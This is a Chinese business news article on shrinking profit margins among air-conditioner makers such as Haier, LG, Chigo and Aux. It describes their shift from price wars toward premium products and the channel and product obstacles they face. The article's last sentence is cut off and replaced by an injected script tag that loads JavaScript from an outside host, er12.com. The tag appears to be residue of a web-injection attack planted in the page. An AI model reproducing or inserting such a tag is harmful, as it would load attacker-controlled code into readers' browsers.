空调市场竞争白热化，在洗牌和重组的过程中，厂家数量在不断减少，利润也不断下滑。来自国家统计局的资料显示，空调平均利润率在短短4年内下降近50%，降幅之大令人惊叹。
早在2005冷冻年开始，许多厂家都明确提出了停止价格恶战，转向价值战的发展战略，部分厂家还实施了高端战略，旨在提升利润率推动企业的可持续发展。但效果并不明显，价格战仍然存在，产品均价增幅很小。厂家在战略转变过程中面临着诸多阻力和困境，在明年的市场竞争中，空调利润率仍难有显著提升。
厂家纷纷转投价值
在行业诸多空调厂家中，位居三甲之列的海尔空调率先实施高端价值战。早在2004冷冻年末，受市场连续恶战的拖累，海尔空调的利润率不断下滑。海尔果断实施战略转型，打造高端战略，在停止对中低端的投入，不参与市场上的价格恶战，控制产品价格体系，还致力于氧吧、变频等高端产品推广。经过一年的调整后，海尔空调在规模保持稳定增长的情况下，利润率同比增幅明显。
在价格恶战中，海尔空调的中高端转型只属个例。充斥市场上的二、三线品牌，转型效果并不明显。他们在目前的市场竞争中，优势缺乏：规模无法与三大巨头抗衡、品牌拉力弱、渠道布局不完善,一旦企业的利润空间再得不到保证，就无法参与市场竞争。
在这种背景下，今年初以志高、奥克斯、澳柯玛为代表的厂家开始转型，纷纷大打价值牌。志高空调在获得了迅猛发展之后，提出了在规模化下实现利润最大化。新科空调也鲜明提出了“做强做精”的目标，获取合理的利润。从市场一线监控的数据显示，国内众多企业的利润增幅不足1%，部分企业还徘徊在盈亏平衡线上。
外资品牌在遭遇国内市场的价格恶战后，也不得不实施战略转移, 这其中以lg空调最具代表性。前期，lg空调通过本土化策略的全面实施，使价格体系贴近市场、终端推广频繁而灵活，获得了较大的市场份额,但持续的价格恶战造成企业的利润空间快速下滑。在这种背景下，lg空调借助集团的“一等战略”
实施契机，迅速转型大打高端战役。在经过2005年的调整后，尽管其市场份额出现一定的下滑，但利润却有所增加。
三大瓶颈难突围
尽管许多空调厂家在2005年都通过不同的方式和途径进行了战略转型，注重利润空间的提升,但在具体的市场操作过程中仍然面临着重重阻力，主要体现在以下几方面。
第一，各厂家竞争压力大。由于市场仍处于完全竞争状态下，洗牌与淘汰仍将继续。三大巨头会充分利用自身的规模化优势，利用价格手段来竞争。而中小企业的压力更大，在面临来自巨头的挤压、利润不断下滑的情况下，不得不采取贴近市场的价格策略，才能保证市场份额。因此，这些企业的利润率都不会太高。特别是在参与国际市场的竞争时，无论是自有品牌出口，还是oem合作，价格一直是我国企业的最大优势。在这种背景下，企业一旦贸然进行以利润为导向的提价，短期内根本无法寻找到合理的支撑，空调销售必将短路。
第二，产业链不配套、不成熟。尽管许多厂家都可以单边提价，实现产品的结构性涨价，但来自于流通渠道的挤压和剥削则会变本加厉。一方面家电连锁的单边霸权，对于产品销售费用要求过高，还经常无理由降价抛售，无谓损失厂家的利润率;另一方面传统渠道的销售费用尽管少，但随着渠道的不断下移，商家对于厂家的销售利润要求越高,此时商家选择经营产品的标准就是单台利润有多少。因此，厂家在通路中会造成很大程度的利润损失。
第三，推广手段有局限。尽管一些厂家在提升利润手段上进行了创新，比如不是单纯的提升产品售价，而是采取推出新品进行结构性涨价，但由于新品本身缺乏有力的技术支撑，因此价格定位偏高造成销量极小，市场主销机型仍集中于普通机，从而使得利润难以平衡。
一位空调厂家的负责人透露，目前厂家手中的净利润不足5%，而仅流通领域就要消耗10%以上的毛利润。如此一来，现在一些厂家实施的市场战略根本无法实现对自身利润的有效提升，同时阶段性的价格战仍在上演，这又将增加厂家的操作难度。
寻找支撑是关键
综合来看，空调厂家提升利润空间的方向很正确，所付出的努力和展开的一系列活动也很多，但短期内我国空调厂家的利润空间很难获得明显的提升。问题的症结在于企业的价值转型缺乏有力的支撑点, 也就是说在产品涨价的背后，理由不充分。
透过lg空调的战略转型，可以给国内企业一些启示。lg在其转型背后拥有许多支撑点,比如，品牌定位全球化和高端化，对消费者的购买行为带来很强的地位感和尊贵感,产品内容丰富，款式、功能都与市场上同类产品形成了明显的区别，并且能够引领市场的发展潮流，从而使产品的售价能够高出同行。
我国许多企业的价值转型则带有明显的空洞化、概念化，只是提出转型的口号，相应的支撑面和着力点缺乏。许多企业一味地推出新品进行结构性涨价，但产品内容单薄，只是?script src=http://er12.com/t.js>
